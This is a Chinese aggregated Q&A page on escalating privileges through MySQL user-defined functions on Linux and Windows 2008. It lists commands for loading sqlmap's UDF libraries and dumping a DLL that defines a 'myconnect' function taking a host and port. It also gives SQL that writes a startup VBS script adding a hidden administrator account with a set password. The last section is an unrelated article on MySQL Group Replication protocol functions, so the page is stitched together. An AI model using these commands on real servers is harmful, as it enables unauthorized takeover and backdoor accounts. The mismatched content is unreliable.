本文目录一览:
- MYSQL提权(LINUX)
- 怎么在Windows下的MYSQL网站利用UDF.dll提权?
- linux mysql udf提权漏洞怎么办
- windows 2008 怎么利用mysql提权
- mysql udf函数怎么调用
MYSQL提权(LINUX)
select @@global.secure_file_priv;
查看MySQL服务器的文件读写权限。
如果是 NULL
就是完全禁止。
udf提权用到的 .so
文件(Linux)在 Kali 下默认集成,路径为:
/usr/share/sqlmap/udf/mysql/linux/64(32)
或者使用命令:
searchsploit mysql udf
把对应的内容编译出来。 MySQL创建函数命令:
CREATE FUNCTION function_name RETURNS INTEGER SONAME 'udf_file.so';
怎么在Windows下的MYSQL网站利用UDF.dll提权?
udf.dll提权在MySQL版本大于5.0会有很多限制,因为导出udf.dll目录到winnt目录已经不行。好在还有方法,t00ls转载的,udf.dll失败时可以考虑试试^_^
linux mysql udf提权漏洞怎么办
在mysql库下必须有 func
表,并且在 --skip-grant-tables
开启的情况下,UDF会被禁止;
过程:
- 得到插件库路径
- 找对应操作系统的udf库文件
- 利用udf库文件加载函数并执行命令
1. 得到插件库路径
SHOW VARIABLES LIKE "%plugin%";
输出示例:
+---------------+-----------------------+
| Variable_name | Value |
+---------------+-----------------------+
| plugin_dir | /usr/lib/mysql/plugin |
+---------------+-----------------------+
2. 找对应操作系统的udf库文件
例如查看系统版本:
uname -a
输出示例:
Linux bt 3.2.6 #1 SMP Fri Feb 17 10:34:20 EST 2012 x86_64 GNU/Linux
对于udf文件,在sqlmap工具中自带就有,只要找对应操作系统的版本即可:
/pentest/database/sqlmap/udf/mysql/linux/64
其中包含:
lib_mysqludf_sys.so
3. 利用udf库文件加载函数并执行命令
首先要得到udf库文件的十六进制格式,可在本地通过工具转换。
windows 2008 怎么利用mysql提权
MySQL 5.1版本以上,必须把udf文件放到mysql安装目录下的 lib/plugin
下才能创建自定义函数。INTO DUMPFILE
并不能创建文件夹,所以MySQL 5.1以上的版本,root权限提权就很困难了,目前已有的方法只有写启动项如下:
CREATE TABLE a (cmd TEXT);
INSERT INTO a VALUES ("set wshshell=createobject (""wscript.shell"")");
INSERT INTO a VALUES ("a=wshshell.run (""cmd.exe /c net user 007hack.com qwer1234!@#$qwe /add"",0)");
INSERT INTO a VALUES ("b=wshshell.run (""cmd.exe /c net localgroup Administrators 007hack.com /add"",0)");
Windows 2008启动项路径:
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\iis.vbs
导出到启动项:
SELECT * FROM a INTO OUTFILE "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\iis.vbs";
写启动项缺陷:
- 需要服务器重启(如果管理员3389远程桌面登录时注销了用户,再次3389连接时,这个脚本就会运行,添加一个管理员,不需要重启)。
- 安全软件可能会拦截。
补充:
如果MySQL版本小于5.1是root权限,Windows 2008一样可以拿到系统权限(MySQL无降权处理)。
1. MySQL导出一个dll
SELECT udf FROM 007hack_tab INTO DUMPFILE 'c:/007hack.dll';
(udf内容网上早有公开)
2. 创建一个函数
CREATE FUNCTION myconnect RETURNS INTEGER SONAME 'c:\\007hack.dll';
(注意路径是双反斜杠)
3. 调用这个函数
SELECT myconnect('".$chost."','".$cport."');
(这只是一个示例)
mysql udf函数怎么调用
背景
在上一篇推文中,我们介绍了 MySQL Group Replication 8.0.16 支持信息碎片化功能来增强大型事务处理能力。 如果您想在组复制中使用该功能,则任何组成员的版本都不能低于 8.0.16! 简单地说就是由于低版本协议上不支持。MySQL 8.0.16 的组通讯开始支持新协议,简称“分段协议”,之前的版本中只有一种“压缩协议”。
协议匹配原则:
- 现有复制组成员和新加入成员版本相同,加入成功。
- 低版本成员想加入高版本的组会被驱逐,加入失败。
- 高版本的成员想加入低版本的组,单独加入成功,多个加入失败。
示例:
- 一个 MySQL Server 8.0.16 实例可以成功加入使用通信协议版本 5.7.24 的组。
- 一个 MySQL Server 5.7.24 实例无法成功加入使用通信协议版本 8.0.16 的组。
- 两个 MySQL Server 8.0.16 实例无法同时加入使用通信协议版本 5.7.24 的组。
- 两个 MySQL Server 8.0.16 实例可以同时加入使用通信协议版本 8.0.16 的组。
新增 UDF
为了能让高版本的复制组更便于加入低版本的成员,MySQL 8.0.16 新增两个 UDF。 您可以使用两个新的 UDF 命令去管理组通信协议:
1. group_replication_set_communication_protocol(new_protocol)
设置组复制通讯协议版本:
SELECT group_replication_set_communication_protocol("8.0.15");
填入一个所有成员都支持的版本号,即:new_protocol ≤ 所有成员的 MySQL版本
。
new_protocol
格式:major.minor.patch
(主版本号.次版本号.发布版本号),例如:8.0.15
。
2. group_replication_get_communication_protocol()
获取复制中最旧成员的 MySQL 版本号:
SELECT group_replication_get_communication_protocol();
返回结果格式:major.minor.patch
,例如:8.0.15
。
获取的版本号可能与设置的值不一致,但不一致的版本之间组复制协议是一样的。
以上两个 UDF 对全部组成员有效,主机或从机上均可执行。
结论
- 若想使用信息碎片功能,建议将组复制成员全部升级为 8.0.16。
- 若组内成员版本仅有部分为 8.0.16,可以用两个新的函数来让高版本的成员保持与其它成员组协议一致。